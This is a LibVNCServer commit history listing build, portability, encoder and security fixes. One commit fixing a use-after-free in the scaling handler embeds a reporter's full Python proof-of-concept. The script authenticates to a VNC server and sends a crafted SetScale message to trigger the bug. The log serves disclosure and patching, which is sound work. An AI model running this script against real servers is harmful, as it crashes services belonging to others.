Commit Graph

262 Commits (91261e52d95ef30e9367a928b4151ec0063b2982)

Author SHA1 Message Date
Christian Beier 0aa204d818 Update comments regarding rfbClientConnectionGone(). 11 years ago
Christian Beier 668d3e3785 Fix Use-After-Free vulnerability in LibVNCServer wrt scaling.
Reported by Ken Johnson <Ken.Johnson1@telus.com>.

The vulnerability would occur in both the rfbPalmVNCSetScaleFactor and rfbSetScale cases in the rfbProcessClientNormalMessage function of rfbserver.c. Sending a valid scaling factor is required (non-zero)

      if (msg.ssc.scale == 0) {
          rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero");
          rfbCloseClient(cl);
          return;
      }

      rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg);
      rfbLog("rfbSetScale(%d)\n", msg.ssc.scale);
      rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale);

      rfbSendNewScaleSize(cl); << This is the call that can trigger a free.
      return;

at the end, both cases there is a call the rfbSendNewScaleSize function, where if the connection is subsequently disconnected after sending the VNC scaling message can lead to a free occurring.

    else
    {
        rfbResizeFrameBufferMsg        rmsg;
        rmsg.type = rfbResizeFrameBuffer;
        rmsg.pad1=0;
        rmsg.framebufferWidth  = Swap16IfLE(cl->scaledScreen->width);
        rmsg.framebufferHeigth = Swap16IfLE(cl->scaledScreen->height);
        rfbLog("Sending a response to a UltraVNC style frameuffer resize event (%dx%d)\n", cl->scaledScreen->width, cl->scaledScreen->height);
        if (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) {
            rfbLogPerror("rfbNewClient: write");
            rfbCloseClient(cl);
            rfbClientConnectionGone(cl); << Call which may can lead to a free.
            return FALSE;
        }
    }
    return TRUE;

Once this function returns, eventually rfbClientConnectionGone is called again on the return from rfbProcessClientNormalMessage. In KRFB server this leads to an attempt to access client->data.

POC script to trigger the vulnerability:

---snip---

import socket,binascii,struct,sys
from time import sleep

class RFB:

    INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
    AUTH_NO_PASS  = "\x01"
    AUTH_PASS = "\x02"
    SHARE_DESKTOP = "\x01"

    def AUTH_PROCESS(self,data,flag):
        if flag == 0:
            # Get security types
            secTypeCount = data[0]
            secType = {}
            for i in range(int(len(secTypeCount))):
                secType[i] = data[1]
            return secType
        elif flag == 1:
            # Get auth result
            # 0 means auth success
            # 1 means failure
            return data[3]

    def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD):
        try:
            from Crypto.Cipher import DES
        except:
            print "Error importing crypto. Please fix or do not require authentication"
            sys.exit(1)
        if len(PASSWORD) != 8:
            PASSWORD = PASSWORD.ljust(8, '\0')

        PASSWORD_SWAP = [self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))]
        PASSWORD = (struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))
        crypto = DES.new(PASSWORD)
        return crypto.encrypt(data)

    def reverse_bits(self,x):
        a=0
        for i in range(8):
            a += ((x>>i)&1)<<(7-i)
        return a

def main(argv):

    print "Proof of Concept"
    print "Copyright TELUS Security Labs"
    print "All Rights Reserved.\n"

    try:
        HOST = sys.argv[1]
        PORT = int(sys.argv[2])
    except:
        print "Usage: python setscale_segv_poc.py <host> <port> [password]"
        sys.exit(1)
    try:
        PASSWORD = sys.argv[3]
    except:
        print "No password supplied"
        PASSWORD = ""

    vnc = RFB()

    remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    remote.connect((HOST,PORT))

    # Get server version
    data = remote.recv(1024)
    # Send 3.8 version
    remote.send(vnc.INIT_3008)
    # Get supported security types
    data = remote.recv(1024)
    # Process Security Message
    secType = vnc.AUTH_PROCESS(data,0)

    if secType[0] == "\x02":
        # Send accept for password auth
        remote.send(vnc.AUTH_PASS)
        # Get challenge
        data = remote.recv(1024)
        # Send challenge response
        remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD))

    elif secType[0] == "\x01":
        # Send accept for None pass
        remote.send(vnc.AUTH_NO_PASS)

    else:
        print 'The server sent us something weird during auth.'
        sys.exit(1)

    # Get result
    data = remote.recv(1024)
    # Process result
    result = vnc.AUTH_PROCESS(data,1)

    if result == "\x01":
        # Authentication failure.
        data = remote.recv(1024)
        print 'Authentication failure. Server Reason: ' + str(data)
        sys.exit(1)

    elif result == "\x00":
        print "Authentication success."

    else:
        print 'Some other authentication issue occured.'
        sys.exit(1)

    # Send ClientInit
    remote.send(vnc.SHARE_DESKTOP)

    # Send malicious message
    print "Sending malicious data..."
    remote.send("\x08\x08\x00\x00")
    remote.close()

if __name__ == "__main__":
    main(sys.argv)

---snap---
11 years ago
Maks Naumov 02d0f73ee8 Fix selData.buttonWidth calculation
Operator "+" has a higher priority than "? :"
11 years ago
Nicolas Ruff c18fa98b1f Fix stack-based buffer overflow
There was a possible buffer overflow in rfbFileTransferOffer message when
processing the FileTime.

Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
11 years ago
newsoft 83bf1f5974 Fix multiple stack-based buffer overflows in file transfer feature 11 years ago
newsoft 8220f4da4c Make sure that no integer overflow could occur during scaling 11 years ago
Christian Beier a1125ad9a6 Merge pull request #38 from LibVNC/autotools-fix-revisited
Autotools fix revisited.
11 years ago
Brian Bidulock 57b0e4f4fe Rename obsolete INCLUDES to AM_CPPFLAGS 11 years ago
Johannes Schindelin ad7a054e8c Close unclosed comments ;-)
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
11 years ago
Daniel Cohen Gindi b288722ea6 A forgotten `#ifdef WIN32` broke UNIX build. 11 years ago
Daniel Cohen Gindi fd075263f9 Signal is a fundamental UNIX function, and must be omitted for any windows compilation 11 years ago
Daniel Cohen Gindi a7f79b696e These are UNIX headers, and are not available on MSVC 11 years ago
Daniel Cohen Gindi 1fc2951f22 On windows, use the Win32 calls for directory enumerations.
We also do not need the conversion between UNIX values to Windows values in the RTF_FIND_DATA struct, as we already are on windows.
11 years ago
Daniel Cohen Gindi 901eba9f46 Generally adjusting headers for compiling on windows without the mixing of Winsock 1 and 2. 11 years ago
Daniel Cohen Gindi 8c58593649 Just use a macro to bridge to the Win32 version of `mkdir`
The additional compat_mkdir function was not necessary at all.
11 years ago
Daniel Cohen Gindi 026c48e7fc Fixed a violation of the C89 standard ("declarations must come before instructions") 11 years ago
Daniel Cohen Gindi 7f8520d05c A windows version for directory enumerations
Basically taken from https://github.com/danielgindi/FileDir with some adjustments
11 years ago
Daniel Cohen Gindi 42ff7fb85b MSVC also has the __FUNCTION__ predefined 11 years ago
Daniel Cohen Gindi 51d0db7107 `CreateDirectory` might clash with the `CreateDirectoryA`/`CreateDirectoryW` macros on MSVC 11 years ago
Daniel Cohen Gindi b2b705aa33 Fail when NULL is passed to CreateFileListInfo()
Passing NULL to sprintf() would most likely crash the program.
11 years ago
Daniel Cohen Gindi fbf48c65f3 `strings.h` and `resolv.h` are not available on MSVC, and some POSIX functions are renamed or deprecated
For all of those missing/deprecated POSIX functions, we just add a macro mapping to the _underscored version of MSVC.
11 years ago
Nicolas Ruff 05a9bd41a8 Do not accept a scaling factor of zero on PalmVNCSetScaleFactor and SetScale client->server messages. This would cause a division by zero and crash the server. 12 years ago
Nicolas Ruff 6037a9074d Check malloc() return value on client->server ClientCutText message. Client can send up to 2**32-1 bytes of text, and such a large allocation is likely to fail in case of high memory pressure. This would in a server crash (write at address 0). 12 years ago
Amandeep Singh 012594b970 allow rfbInitSockets with non-ready states.
This allows for reinitializations of e. g. sockets in a SHUTDOWN state.
The only state that doesn't make sense to reinitialize are READY states.
12 years ago
Amandeep Singh afd1d329ed Fix crash in krfb
Krfb crashes on quit, if any client is connected
due to a rfbClientConnectionGone call missing
12 years ago
Johannes Schindelin 3351ba69a4 Fix tyop
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
12 years ago
Joel Martin 7b9fc019de Set opcode correctly for binary frames. 13 years ago
Raphael Kubo da Costa 8f544bd276 Work around a gcc bug with anonymous structs and unions.
GCC < 4.6 failed to parse the declaration of ws_header_t correctly because
it did not accept anonymous structs and unions. [1]

Work around the bug by adding names to the unions and structs. Ugly, but
works.

[1] http://gcc.gnu.org/bugzilla/show_bug.cgi?id=4784
13 years ago
Raphael Kubo da Costa a63312c6fb Include stdio.h for snprintf(3) 13 years ago
Raphael Kubo da Costa 252f5d9c7c Add the required headers for read(2) 13 years ago
Raphael Kubo da Costa 95dd76327b Use htobeNN(3) to convert numbers in websocket.c.
byteswap.h exists only on glibc, so building libvncserver with websockets
support was not possible in other systems.

Replace the inclusion of byteswap.h and the WS_* definitions with calls to
htobeNN, which should perform the same conversions, be more portable and
avoid the need to check for the platform's endianness.
13 years ago
Raphael Kubo da Costa 4c148e5f74 Tune the definitions needed when building with -ansi.
The current definitions were mostly useful to glibc and followed its
feature_test_macros(3) documentation.

However, this means other platforms still had problems when building with
strict compilation flags. _BSD_SOURCE, for example, is only recognized by
glibc, and other platforms sometimes need _XOPEN_SOURCE instead, or even the
removal of some definitions (such as the outdate _POSIX_SOURCE one).

_POSIX_SOURCE also had to be conditionally defined in some places, as what
it enables or disables during compilation varies across systems.
13 years ago
Raphael Kubo da Costa 8f1ef3d66c Add some missing feature macro definitions.
Building with -ansi failed due to some code (as well as system
headers) using non-C89 features. Fix that by adding the usual
_POSIX_SOURCE and _BSD_SOURCE definitions already present in some
other files.
13 years ago
Raphael Kubo da Costa 3cbef1a976 Use C-style comments in rfbconfig.h.cmake and C source code.
Using C++-style comments when building the code with -ansi does not
work, so be more conservative with the comment style.
13 years ago
Raphael Kubo da Costa 88e6043585 Correctly include rfbconfig.h.
build_dir/rfb is not passed as an include directory automatically to
the compiler, so including that file fails.
13 years ago
Oliver Loch 584542ba97 Patched sockets.c to allow the use of IPv6 without IPv4.
As requested only those lines are indented that have been changed.
14 years ago
Christian Beier af614dea11 Remove autogenerated files from repo. 14 years ago
Kyle J. McKay 66282f5800 libvncserver/sockets.c: do not segfault when listenSock/listen6Sock == -1 14 years ago
Christian Beier a0cee790cf LibVNCServer: Prefer GnuTLS over OpenSSL to be in sync with LibVNCClient. 14 years ago
Christian Beier fb824c8ce3 Some more libjpeg, libpng and zlib related build fixes. 14 years ago
Christian Beier d4cbaa0c17 Only try to build TightPNG stuff when libjpeg is available.
TightPNG replaces the ZLIB stuff int Tight encoding with PNG. It still
uses JPEG rects as well. Theoretically, we could build TightPNG with only
libpng and libjpeg - without zlib - but libpng depends on zlib, so this is
kinda moot.
14 years ago
Christian Beier 81289eb624 Properly check return value.
This also fixes a compiler warning.
14 years ago
Christian Beier a48ef69be3 Include some more missing files for make dist. 14 years ago
Christian Beier 450d2ebfd2 Include missing files for make dist. 14 years ago
Christian Beier 6f9a9160c4 Fix some compiler warnings thrown with newer gcc. 14 years ago
Christian Beier 413ca0dfef Merge branch 'turbovnc'
Conflicts, resolved manually:
	AUTHORS
14 years ago
Christian Beier 7cb8fd9b30 Make TurboVNC compress level 3 actually work. 14 years ago
Christian Beier 2d50fc84f7 IPv6 support for LibVNCServer, part four: add copyright notices to files with non-trivial changes. 14 years ago
DRC 7124b5fbcf Replace TightVNC encoder with TurboVNC encoder. This patch is the result of further research and discussion that revealed the following:
-- TightPng encoding and the rfbTightNoZlib extension need not conflict.  Since
   TightPng is a separate encoding type, not supported by TurboVNC-compatible
   viewers, then the rfbTightNoZlib extension can be used solely whenever the
   encoding type is Tight and disabled with the encoding type is TightPng.

-- In the TightVNC encoder, compression levels above 5 are basically useless.
   On the set of 20 low-level datasets that were used to design the TurboVNC
   encoder (these include the eight 2D application captures that were also used
   when designing the TightVNC encoder, as well as 12 3D application captures
   provided by the VirtualGL Project--
   see http://www.virtualgl.org/pmwiki/uploads/About/tighttoturbo.pdf), moving
   from Compression Level (CL) 5 to CL 9 in the TightVNC encoder did not
   increase the compression ratio of any datasets more than 10%, and the
   compression ratio only increased by more than 5% on four of them.  The
   compression ratio actually decreased a few percent on five of them.  In
   exchange for this paltry increase in compression ratio, the CPU usage, on
   average, went up by a factor of 5.  Thus, for all intents and purposes,
   TightVNC CL 5 provides the "best useful compression" for that encoder.

-- TurboVNC's best compression level (CL 2) compresses 3D and video workloads
   significantly more "tightly" than TightVNC CL 5 (~70% better, in the
   aggregate) but does not quite achieve the same level of compression with 2D
   workloads (~20% worse, in the aggregate.) This decrease in compression ratio
   may or may not be noticeable, since many of the datasets it affects are not
   performance-critical (such as the console output of a compilation, etc.)
   However, for peace of mind, it was still desirable to have a mode that
   compressed with equal "tightness" to TightVNC CL 5, since we proposed to
   replace that encoder entirely.

-- A new mode was discovered in the TurboVNC encoder that produces, in the
   aggregate, similar compression ratios on 2D datasets as TightVNC CL 5.  That
   new mode involves using Zlib level 7 (the same level used by TightVNC CL 5)
   but setting the "palette threshold" to 256, so that indexed color encoding
   is used whenever possible.  This mode reduces bandwidth only marginally
   (typically 10-20%) relative to TurboVNC CL 2 on low-color workloads, in
   exchange for nearly doubling CPU usage, and it does not benefit high-color
   workloads at all (since those are usually encoded with JPEG.)  However, it
   provides a means of reproducing the same "tightness" as the TightVNC
   encoder on 2D workloads without sacrificing any compression for 3D/video
   workloads, and without using any more CPU time than necessary.

-- The TurboVNC encoder still performs as well or better than the TightVNC
   encoder when plain libjpeg is used instead of libjpeg-turbo.

Specific notes follow:

common/turbojpeg.c common/turbojpeg.h:
Added code to emulate the libjpeg-turbo colorspace extensions, so that the
TurboJPEG wrapper can be used with plain libjpeg as well.  This required
updating the TurboJPEG wrapper to the latest code from libjpeg-turbo 1.2.0,
mainly because the TurboJPEG 1.2 API handles pixel formats in a much cleaner
way, which made the conversion code easier to write.  It also eases the
maintenance to have the wrapper synced as much as possible with the upstream
code base (so I can merge any relevant bug fixes that are discovered upstream.)
The libvncserver version of the TurboJPEG wrapper is a "lite" version,
containing only the JPEG compression/decompression code and not the lossless
transform, YUV encoding/decoding, and dynamic buffer allocation features from
TurboJPEG 1.2.

configure.ac:
Removed the --with-turbovnc option.  configure still checks for the presence of
libjpeg-turbo, but only for the purposes of printing a performance warning if
it isn't available.

rfb/rfb.h:
Fix a bug introduced with the initial TurboVNC encoder patch.  We cannot use
tightQualityLevel for the TurboVNC 1-100 quality level, because
tightQualityLevel is also used by ZRLE.  Thus, a new parameter
(turboQualityLevel) was created.

rfb/rfbproto.h:
Remove TurboVNC-specific #ifdefs and language

libvncserver/rfbserver.c:
Remove TurboVNC-specific #ifdefs.  Fix afore-mentioned tightQualityLevel bug.

libvncserver/tight.c:
Replaced the TightVNC encoder with the TurboVNC encoder.  Relative to the
initial TurboVNC encoder patch, this patch also:
-- Adds TightPng support to the TurboVNC encoder
-- Adds the afore-mentioned low-bandwidth mode, which is mapped externally to
   Compression Level 9

test/*:
Included TJUnitTest (a regression test for the TurboJPEG wrapper) as well as
TJBench (a benchmark for same.)  These are useful for ensuring that the wrapper
still functions correctly and performantly if it needs to be modified for
whatever reason.  Both of these programs are derived from libjpeg-turbo 1.2.0.
As with the TurboJPEG wrapper, they do not contain the more advanced features
of TurboJPEG 1.2, such as YUV encoding/decoding and lossless transforms.
14 years ago
DRC 503dd6bb69 Fix an issue that affects the existing Tight encoder as well as the newly-implemented Turbo encoder.
The issue is that, when using the current libvncserver source, it is impossible to disable Tight JPEG encoding.
The way Tight/Turbo viewers disable JPEG encoding is by simply not sending the Tight quality value, causing the
server to use the default value of -1.  Thus, cl->tightQualityLevel has to be set to -1 prior to processing the
encodings message for this mechanism to work.  Similarly, it is not guaranteed that the compress level will be
set in the encodings message, so it is set to a default value prior to processing the message.
14 years ago